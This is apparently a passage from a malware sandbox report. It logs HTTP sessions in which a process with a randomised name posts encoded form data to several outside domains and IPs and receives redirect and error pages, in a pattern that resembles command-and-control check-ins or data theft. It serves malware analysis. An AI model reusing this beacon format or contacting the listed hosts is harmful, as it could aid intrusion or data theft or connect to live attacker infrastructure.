3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 22 3e 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 3c 2f 61 3e 2e 0a 20 20 20 20 3c 2f [TRUNCATED] Data Ascii: 15a<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='http://lecoinsa.net/7ffx/'" /> <title>Redirecting to http://lecoinsa.net/7ffx/</title> </head> <body> Redirecting to <a href="http://lecoinsa.net/7ffx/">http://lecoinsa.net/7ffx/</a>. </body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	55405	217.116.0.191	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:31:53.384526968 CEST	10805	OUT	POST /7ffx/ HTTP/1.1 Host: www.lecoinsa.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.lecoinsa.net Referer: http://www.lecoinsa.net/7ffx/ Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 57 50 34 55 38 35 51 38 49 43 6e 76 46 2f 47 35 37 6c 36 45 63 71 6c 6e 6e 57 78 48 4a 79 54 74 63 4c 35 59 2f 6b 63 5a 64 32 4b 52 69 6f 37 75 79 4a 72 39 75 34 51 6a 4a 49 56 30 65 61 6a 70 50 46 30 62 62 71 48 51 65 78 67 72 31 46 6e 55 52 54 39 74 52 53 2b 34 4a 68 37 49 35 57 39 54 42 44 77 73 78 34 32 44 52 46 56 62 42 57 37 6e 38 71 46 56 6b 4c 64 2b 48 47 46 31 2b 6b 48 37 53 44 6c 6e 57 6b 36 68 54 4b 2f 78 4f 72 33 75 30 46 66 61 59 35 47 31 4e 45 6a 41 50 67 43 69 69 56 66 66 6f 2f 37 48 39 65 45 63 32 2b 35 4a 30 67 79 4f 54 71 35 4a 57 34 5a 66 79 31 51 62 4a 42 62 56 59 6c 55 62 78 4a 45 4b 66 6c 77 64 52 2b 75 34 45 6a 57 35 6a 42 71 58 74 4a 7a 54 6b 2b 72 55 6b 4f 6b 30 6c 32 62 76 42 37 45 46 6b 72 39 41 63 63 4a 63 47 63 6c 64 36 67 6d 4f 53 41 6e 62 53 53 74 47 35 62 43 43 38 2f 6c 57 36 52 70 2b 58 67 4c 77 78 6c 52 39 37 4a 41 49 65 30 74 65 2b 63 34 6c 42 2f 75 53 65 39 78 4c 59 35 47 76 6e 33 51 39 62 2b 5a 67 34 38 34 63 49 73 6b 68 69 77 31 35 4c 63 63 4d 76 63 [TRUNCATED] Data Ascii: efM=WP4U85Q8ICnvF/G57l6EcqlnnWxHJyTtcL5Y/kcZd2KRio7uyJr9u4QjJIV0eajpPF0bbqHQexgr1FnURT9tRS+4Jh7I5W9TBDwsx42DRFVbBW7n8qFVkLd+HGF1+kH7SDlnWk6hTK/xOr3u0FfaY5G1NEjAPgCiiVffo/7H9eEc2+5J0gyOTq5JW4Zfy1QbJBbVYlUbxJEKflwdR+u4EjW5jBqXtJzTk+rUkOk0l2bvB7EFkr9AccJcGcld6gmOSAnbSStG5bCC8/lW6Rp+XgLwxlR97JAIe0te+c4lB/uSe9xLY5Gvn3Q9b+Zg484cIskhiw15LccMvc9P1nJqdsLEwjzpfLU5xTleBjP9bLpRZ4AvGH7XwJcOD8pb70TA2t+WWsmC/b/yIslhe/u+3/WiBOVuYao5wlkhaou+SkdJUt61g0TW/yr2kiDRZA7uY2KTpW/6bA7zmTAGD2rwhmG2jHocxvYK9ICv4A0XR9ioBP7+3SOOKLyKenUkBfhXZ3E+lztZKV29jNSm6UbHbhdykQaDfxLcjYXSAnNqCcSt6LtBgXUx43Lq3ie+wV9qHVeweQrYRxh3pTA/XKE1fwlm+xfal7nleU0iPBOiMQC7UtZP3idsmtC9M0xmz9BrKaBCoIYLpwRr1JMSakrCbfqhPQqUzegfBClYJd6k7bWM23YEUi+16alRMkEBigdW2+Y4DT447PVQiNReN6r6UT50na5GG3IZkPSsGaj3801J20xSj8xU5rikRimcygg0c05m88RJdybnEEWLUQ0LMVCeZSN3/2XkTQ5EL+W4gDd71StsjJe6pVcVCfHsDRDOF0Zz670BELJyXZMXw9vHoZ/UnHHDQ0J1lAF1epI5QuEvY24OVa54vUzvZk3lXPoEQyfQVjHUN9SSAxtEsL+t35Xvky883PBPKBzNsK91f9HjKa4cg89dJsp/Jb8MeSGpu38BQPWOTwrrZG7snm5FqX20Vhr2xL+v+g2kds4qUSkQUA3i [TRUNCATED]
Aug 5, 2024 15:31:54.185596943 CEST	572	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Mon, 05 Aug 2024 13:31:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Location: http://lecoinsa.net/7ffx/ Data Raw: 31 35 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 22 3e 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 3c 2f 61 3e 2e 0a 20 20 20 20 3c 2f [TRUNCATED] Data Ascii: 15a<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='http://lecoinsa.net/7ffx/'" /> <title>Redirecting to http://lecoinsa.net/7ffx/</title> </head> <body> Redirecting to <a href="http://lecoinsa.net/7ffx/">http://lecoinsa.net/7ffx/</a>. </body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	55406	217.116.0.191	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:31:56.253350019 CEST	437	OUT	GET /7ffx/?GTP=uhqpjxIPh&efM=bNQ0/ONSUiz8CveulmeeGbtq+RYAIRndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbrT1RjV74F6wZTVOAhq5NAvf33Q9AnwF2+P6bz1BMUvu37pM7qc= HTTP/1.1 Host: www.lecoinsa.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 5, 2024 15:31:57.075639009 CEST	1236	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Mon, 05 Aug 2024 13:31:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 918 Connection: close Location: http://lecoinsa.net/7ffx/?GTP=uhqpjxIPh&efM=bNQ0/ONSUiz8CveulmeeGbtq+RYAIRndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbrT1RjV74F6wZTVOAhq5NAvf33Q9AnwF2+P6bz1BMUvu37pM7qc= Age: 0 X-Cache: MISS X-BKSrc: 0.6 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 2e 6e 65 74 2f 37 66 66 78 2f 3f 47 54 50 3d 75 68 71 70 6a 78 49 50 68 26 61 6d 70 3b 65 66 4d 3d 62 4e 51 30 2f 4f 4e 53 55 69 7a 38 43 76 65 75 6c 6d 65 65 47 62 74 71 2b 52 59 41 49 52 6e 64 5a 39 4e 55 31 46 6f 4c 58 68 61 33 74 76 37 30 73 35 62 71 75 34 51 36 42 76 35 65 47 70 61 6f 54 44 59 76 62 72 54 31 52 6a 56 37 34 46 36 77 5a 54 56 4f 41 68 71 35 4e 41 76 66 33 33 51 39 41 6e 77 46 32 2b 50 36 62 7a 31 42 4d 55 76 75 33 37 70 4d 37 71 63 3d 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 6c 65 63 6f 69 6e 73 61 [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='http://lecoinsa.net/7ffx/?GTP=uhqpjxIPh&efM=bNQ0/ONSUiz8CveulmeeGbtq+RYAIRndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbrT1RjV74F6wZTVOAhq5NAvf33Q9AnwF2+P6bz1BMUvu37pM7qc='" /> <title>Redirecting to http://lecoinsa.net/7ffx/?GTP=uhqpjxIPh&efM=bNQ0/ONSUiz8CveulmeeGbtq+RYAIRndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbrT1RjV74F6wZTVOAhq5NAvf33Q9AnwF2+P6bz1BMUvu37pM7qc=</title> </head> <body> Redirecting to <a href="http://lecoinsa.net/7ffx/?GTP=uhqpjxIPh&efM=bNQ0/ONSUiz8CveulmeeGbtq+RYAIRndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbrT1RjV74F6wZTVOAhq5NAvf33Q9AnwF2+P6bz1BMUvu37pM7qc=">http://lecoinsa.net/7ffx/?GTP=uhqpjxIPh&efM=bNQ0/ONSUiz8CveulmeeGbtq+RYAIRndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbrT1RjV74F6w
Aug 5, 2024 15:31:57.075690031 CEST	65	IN	Data Raw: 5a 54 56 4f 41 68 71 35 4e 41 76 66 33 33 51 39 41 6e 77 46 32 2b 50 36 62 7a 31 42 4d 55 76 75 33 37 70 4d 37 71 63 3d 3c 2f 61 3e 2e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: ZTVOAhq5NAvf33Q9AnwF2+P6bz1BMUvu37pM7qc=</a>. </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	55407	3.33.130.190	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:32:02.273204088 CEST	700	OUT	POST /1nsp/ HTTP/1.1 Host: www.8xbe578.app Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.8xbe578.app Referer: http://www.8xbe578.app/1nsp/ Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 33 75 62 4b 46 61 62 31 34 6d 52 77 7a 4d 4d 74 52 38 6f 66 6b 4c 5a 63 54 75 62 68 55 54 51 70 7a 64 6f 63 65 44 68 49 6f 7a 62 6c 52 4c 6f 5a 30 46 53 31 74 69 37 35 4b 74 63 4d 7a 46 70 38 69 30 59 34 6b 34 43 63 32 54 41 6f 6d 38 2f 69 6c 6b 6b 78 4f 61 6b 79 63 37 74 70 76 46 6a 36 53 66 77 70 49 44 59 78 51 33 34 65 30 50 2f 41 64 6f 42 65 2f 32 41 30 6c 43 66 6a 68 38 71 36 43 57 33 49 55 69 36 69 6f 68 4c 52 34 53 68 78 42 67 54 56 42 6d 54 69 35 39 78 73 76 76 44 53 50 30 71 56 42 6b 78 57 66 41 4f 67 6e 32 44 38 76 4c 72 72 30 79 6b 72 49 32 61 4b 30 43 52 67 6c 41 3d 3d Data Ascii: efM=3ubKFab14mRwzMMtR8ofkLZcTubhUTQpzdoceDhIozblRLoZ0FS1ti75KtcMzFp8i0Y4k4Cc2TAom8/ilkkxOakyc7tpvFj6SfwpIDYxQ34e0P/AdoBe/2A0lCfjh8q6CW3IUi6iohLR4ShxBgTVBmTi59xsvvDSP0qVBkxWfAOgn2D8vLrr0ykrI2aK0CRglA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	55408	3.33.130.190	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:32:04.814971924 CEST	720	OUT	POST /1nsp/ HTTP/1.1 Host: www.8xbe578.app Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.8xbe578.app Referer: http://www.8xbe578.app/1nsp/ Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 33 75 62 4b 46 61 62 31 34 6d 52 77 31 73 63 74 43 4c 30 66 6a 72 5a 66 63 4f 62 68 61 44 51 6c 7a 64 6b 63 65 41 74 59 70 42 50 6c 52 71 59 5a 31 42 4f 31 75 69 37 35 53 39 63 4a 2b 6c 70 37 69 30 56 50 6b 34 75 63 32 54 45 6f 6d 2b 6e 69 6b 58 38 79 50 4b 6b 30 56 62 74 76 69 6c 6a 36 53 66 77 70 49 44 6b 58 51 78 51 65 31 36 33 41 63 4a 42 64 35 47 41 33 69 43 66 6a 7a 4d 71 32 43 57 33 68 55 6a 6e 50 6f 69 7a 52 34 54 52 78 41 78 54 57 4c 6d 54 67 6b 74 77 70 72 66 4b 41 47 52 43 56 5a 47 63 77 64 6c 71 44 72 51 53 6d 2b 36 4b 38 6d 79 41 59 56 78 54 2b 35 42 73 70 2b 4e 49 51 6d 7a 41 43 49 6f 6a 4b 58 33 31 6e 5a 51 52 47 65 52 4d 3d Data Ascii: efM=3ubKFab14mRw1sctCL0fjrZfcObhaDQlzdkceAtYpBPlRqYZ1BO1ui75S9cJ+lp7i0VPk4uc2TEom+nikX8yPKk0Vbtvilj6SfwpIDkXQxQe163AcJBd5GA3iCfjzMq2CW3hUjnPoizR4TRxAxTWLmTgktwprfKAGRCVZGcwdlqDrQSm+6K8myAYVxT+5Bsp+NIQmzACIojKX31nZQRGeRM=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	55409	3.33.130.190	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:32:07.347879887 CEST	10802	OUT	POST /1nsp/ HTTP/1.1 Host: www.8xbe578.app Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.8xbe578.app Referer: http://www.8xbe578.app/1nsp/ Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 33 75 62 4b 46 61 62 31 34 6d 52 77 31 73 63 74 43 4c 30 66 6a 72 5a 66 63 4f 62 68 61 44 51 6c 7a 64 6b 63 65 41 74 59 70 41 33 6c 52 59 51 5a 31 6d 36 31 76 69 37 35 4d 74 63 49 2b 6c 70 71 69 30 4e 4c 6b 34 79 6d 32 52 4d 6f 33 74 76 69 74 47 38 79 47 4b 6b 30 58 62 74 75 76 46 6a 4b 53 66 67 74 49 44 55 58 51 78 51 65 31 37 48 41 5a 6f 42 64 69 47 41 30 6c 43 66 56 68 38 72 70 43 53 54 62 55 6a 54 35 72 53 54 52 34 7a 42 78 43 44 37 57 57 57 54 6d 6e 74 77 50 72 66 58 65 47 56 62 75 5a 43 64 56 64 6a 57 44 37 56 7a 59 6a 37 76 67 37 69 4d 66 50 51 79 59 67 42 6b 6e 78 36 59 4c 71 67 73 70 66 6f 2f 79 66 6c 45 70 64 69 70 69 50 6c 50 70 63 33 4f 6c 47 6e 77 34 49 6e 73 63 47 59 45 70 74 39 4f 78 33 4f 57 35 52 59 46 30 46 33 58 37 54 75 31 76 6f 74 41 44 4b 6a 62 63 61 6b 46 54 59 62 30 61 4f 67 2b 6b 63 70 42 2f 74 7a 53 2b 44 79 49 54 6c 34 41 43 37 2f 4f 39 6c 35 37 4c 47 35 2b 38 64 55 33 73 74 6a 4d 67 47 66 6c 7a 43 59 47 75 66 45 72 32 39 78 4d 55 32 30 79 46 61 4a 56 4a 70 64 [TRUNCATED] Data Ascii: efM=3ubKFab14mRw1sctCL0fjrZfcObhaDQlzdkceAtYpA3lRYQZ1m61vi75MtcI+lpqi0NLk4ym2RMo3tvitG8yGKk0XbtuvFjKSfgtIDUXQxQe17HAZoBdiGA0lCfVh8rpCSTbUjT5rSTR4zBxCD7WWWTmntwPrfXeGVbuZCdVdjWD7VzYj7vg7iMfPQyYgBknx6YLqgspfo/yflEpdipiPlPpc3OlGnw4InscGYEpt9Ox3OW5RYF0F3X7Tu1votADKjbcakFTYb0aOg+kcpB/tzS+DyITl4AC7/O9l57LG5+8dU3stjMgGflzCYGufEr29xMU20yFaJVJpdTcFdrM3pFrnA/4qhtAbs69n1jReTIcQXAVkrX0q+iSbwgrr/YFh68jt/PAZqWF4//p0jvJzI0aoScoF9LlPgA6O9L3bClWfzIQc9kIDFOJFi+HK3JsBVCNRQyWGkRdjNiAcGANQWG0aZqZctbhu1C3FdtWuGA/aYGZi9rbCe72tB40BRhmh8RFv04l9+ANDiJbUXwojCKAoBIfD7GRwBoiAbS1wy0H62N6FFGtlOwjeF04X4CtyfwRYtjbMHRr0pA6lUe3eUWwEhvZjOGynqiWoqBUw0heW0b5mjdsEOhc9QX3gOofyQ1sHu4a8Au4gXM9B2ZZTU5RQCqT+yD7KeIdZOP/RUkLu3R2M+m2frs/B38JO5PwijGq7aV63p/nQEwQsAnl7yettZrU6wQSFf65hwoVqr8ADgfzkxeHvU8vY5C2GidDStt38G535GUOkIbXJi8VT/SmWdVgz11OXAZ8UPrLFB2enBm7ut/5L7GLbVyRa5x8OI8pCOb2fi3P/SbJdmUtyksgqkgyhU+z4T7nvboDruMRO7opZkBK3TH4ygBZf/xPReyDqCFDiUUBVKG39Y/D8tSYVI540b8LjfJzlL3jcw//FS0pmjpyTsCQ1mjUEmn78RKghaicmYzimaopEEwyA60gUmMvPbGSFLNJls0HxTS1b9el [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	55410	3.33.130.190	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:32:09.877701998 CEST	436	OUT	GET /1nsp/?efM=6szqGuj1zCBS7eEVX649iJVBUL/fWzE2u/M2YSpUojnZUd8wkmCllhvxE7Evl1FAmV96l4GO8z837fuNk080Ir9qaLZUnG7yNOEpMTkzRXgFx77GcbRli0I=&GTP=uhqpjxIPh HTTP/1.1 Host: www.8xbe578.app Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 5, 2024 15:32:11.242788076 CEST	393	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 05 Aug 2024 13:32:11 GMT Content-Type: text/html Content-Length: 253 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 65 66 4d 3d 36 73 7a 71 47 75 6a 31 7a 43 42 53 37 65 45 56 58 36 34 39 69 4a 56 42 55 4c 2f 66 57 7a 45 32 75 2f 4d 32 59 53 70 55 6f 6a 6e 5a 55 64 38 77 6b 6d 43 6c 6c 68 76 78 45 37 45 76 6c 31 46 41 6d 56 39 36 6c 34 47 4f 38 7a 38 33 37 66 75 4e 6b 30 38 30 49 72 39 71 61 4c 5a 55 6e 47 37 79 4e 4f 45 70 4d 54 6b 7a 52 58 67 46 78 37 37 47 63 62 52 6c 69 30 49 3d 26 47 54 50 3d 75 68 71 70 6a 78 49 50 68 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?efM=6szqGuj1zCBS7eEVX649iJVBUL/fWzE2u/M2YSpUojnZUd8wkmCllhvxE7Evl1FAmV96l4GO8z837fuNk080Ir9qaLZUnG7yNOEpMTkzRXgFx77GcbRli0I=&GTP=uhqpjxIPh"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	55411	109.95.158.127	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:32:16.337836027 CEST	709	OUT	POST /8unq/ HTTP/1.1 Host: www.synergon.space Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.synergon.space Referer: http://www.synergon.space/8unq/ Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 63 6d 48 72 30 34 6f 51 36 66 57 68 50 4b 59 5a 52 4b 6f 6e 6f 4d 5a 6e 57 7a 2f 6d 43 4a 4b 49 35 73 59 65 38 36 34 67 58 30 4b 6b 65 31 4e 2b 69 30 62 32 6c 38 4e 75 57 61 67 71 4b 2b 6c 4c 57 68 67 52 38 68 75 47 46 59 4a 79 4d 4a 51 43 77 77 4b 7a 35 54 30 36 2b 6f 43 7a 57 45 78 43 6f 76 31 50 67 58 41 72 2b 4a 73 62 46 36 33 6d 4b 38 49 74 73 34 77 70 55 59 38 36 52 64 4b 2b 35 78 48 2f 4e 48 65 50 4b 55 78 54 6c 4c 52 43 36 68 53 6a 44 72 43 73 54 74 71 53 36 57 42 75 6b 7a 77 4c 34 41 4f 74 55 74 78 36 43 6c 61 72 72 35 64 61 73 58 52 39 67 56 65 42 39 61 2f 49 69 67 3d 3d Data Ascii: efM=cmHr04oQ6fWhPKYZRKonoMZnWz/mCJKI5sYe864gX0Kke1N+i0b2l8NuWagqK+lLWhgR8huGFYJyMJQCwwKz5T06+oCzWExCov1PgXAr+JsbF63mK8Its4wpUY86RdK+5xH/NHePKUxTlLRC6hSjDrCsTtqS6WBukzwL4AOtUtx6Clarr5dasXR9gVeB9a/Iig==
Aug 5, 2024 15:32:16.990628004 CEST	1043	IN	HTTP/1.1 404 Not Found Connection: close x-powered-by: PHP/5.6.40 content-type: text/html; charset=UTF-8 content-length: 810 content-encoding: br vary: Accept-Encoding date: Mon, 05 Aug 2024 13:32:16 GMT server: LiteSpeed Data Raw: c2 18 01 80 5c 3a ad 5e 33 2a fa 1d 7b ae 23 c8 f8 22 b6 f9 58 a6 54 2f 68 01 11 24 46 5a 07 b8 b9 aa f8 a2 fc fa db af d2 f4 fb cd 10 12 21 d1 e2 b3 84 6a fa 44 48 66 cf 70 4f 44 b5 eb 1c a1 30 89 4b 75 9e 17 17 17 f7 90 4d df 4d e4 1b a7 cc 91 cc 1d 64 1e 25 03 50 06 cd 54 a2 59 af 5a 72 30 c8 e3 d0 42 fd 72 07 58 ca e6 e1 e1 61 c1 08 db 3a 0d 36 30 34 0d 2b 73 18 37 12 7f 8b 01 ff 54 85 cb a6 e8 8b 0f 19 55 8b 3e 10 1f 2c b8 58 5a de e4 8b 23 b7 ea f9 08 dd ba c0 c6 36 c9 34 3c 82 fa 3d 45 4e 56 65 de 68 41 78 d7 a9 4f ae 74 ec 9b d4 70 00 b0 46 60 bc 00 f4 46 36 3c 50 41 e3 3f 81 18 26 a7 81 e7 11 50 7b 0a 34 82 35 04 8b c5 4e 1f 3b 82 60 fe fd 80 ff bf 51 93 85 40 fe 6c 02 7c ff fe dd 24 a4 7c f4 0f 49 81 f9 60 6c 1f 01 e6 27 13 0c 93 7e 94 a2 76 96 73 d8 64 d3 05 4e e4 35 5a 8c 20 d0 78 77 52 14 e0 7b d5 7a bb dd ee a4 60 ba 70 ec ed f4 80 0d 78 0f 29 9e a4 30 63 f3 28 45 8d 62 25 57 d3 e5 96 67 60 de ba 13 f9 08 30 c7 8a cd 89 1e 81 aa 53 4a 11 7f 84 90 4f 68 cd 9e 42 45 aa 06 66 17 9e a4 58 [TRUNCATED] Data Ascii: \:^3{#"XT/h$FZ!jDHfpOD0KuMMd%PTYZr0BrXa:604+s7TU>,XZ#64<=ENVehAxOtpF`F6<PA?&P{45N;`Q@l\|$\|I`l'~vsdN5Z xwR{z`px)0c(Eb%Wg`0SJOhBEfXUQ[un468f'YhoJ">)ZzP(WDr&Z'lLe[H,Ei=qEk4'Ci8BOp>CtpK)D@laRepMx@j`xVH!D\|Nl7&a2G<gzrjA%X$D*k(b8}O)K3e.{AIdZ_T$T^h>B,cOZ6rB}Qbmcg"-RYbxghvli"F9[)FOXp,j~=uq}F)F_-QS6qiPH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	55412	109.95.158.127	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:32:18.878891945 CEST	729	OUT	POST /8unq/ HTTP/1.1 Host: www.synergon.space Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.synergon.space Referer: http://www.synergon.space/8unq/ Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 63 6d 48 72 30 34 6f 51 36 66 57 68 4a 71 49 5a 42 62 6f 6e 35 73 59 56 5a 54 2f 6d 4d 70 4b 4d 35 72 51 65 38 37 73 77 58 48 69 6b 66 56 64 2b 77 78 37 32 6b 38 4e 75 64 36 67 72 45 65 6c 51 57 68 6c 73 38 67 2b 47 46 5a 74 79 4d 49 67 43 77 42 4b 77 72 54 30 34 6c 34 43 78 59 6b 78 43 6f 76 31 50 67 58 56 77 2b 4e 41 62 45 4a 76 6d 4a 5a 38 75 6c 59 77 71 43 49 38 36 48 64 4c 31 35 78 48 52 4e 43 48 59 4b 52 31 54 6c 4c 42 43 2b 6b 79 67 4b 72 43 71 66 39 72 51 2b 6b 73 39 39 44 4e 30 77 44 43 5a 5a 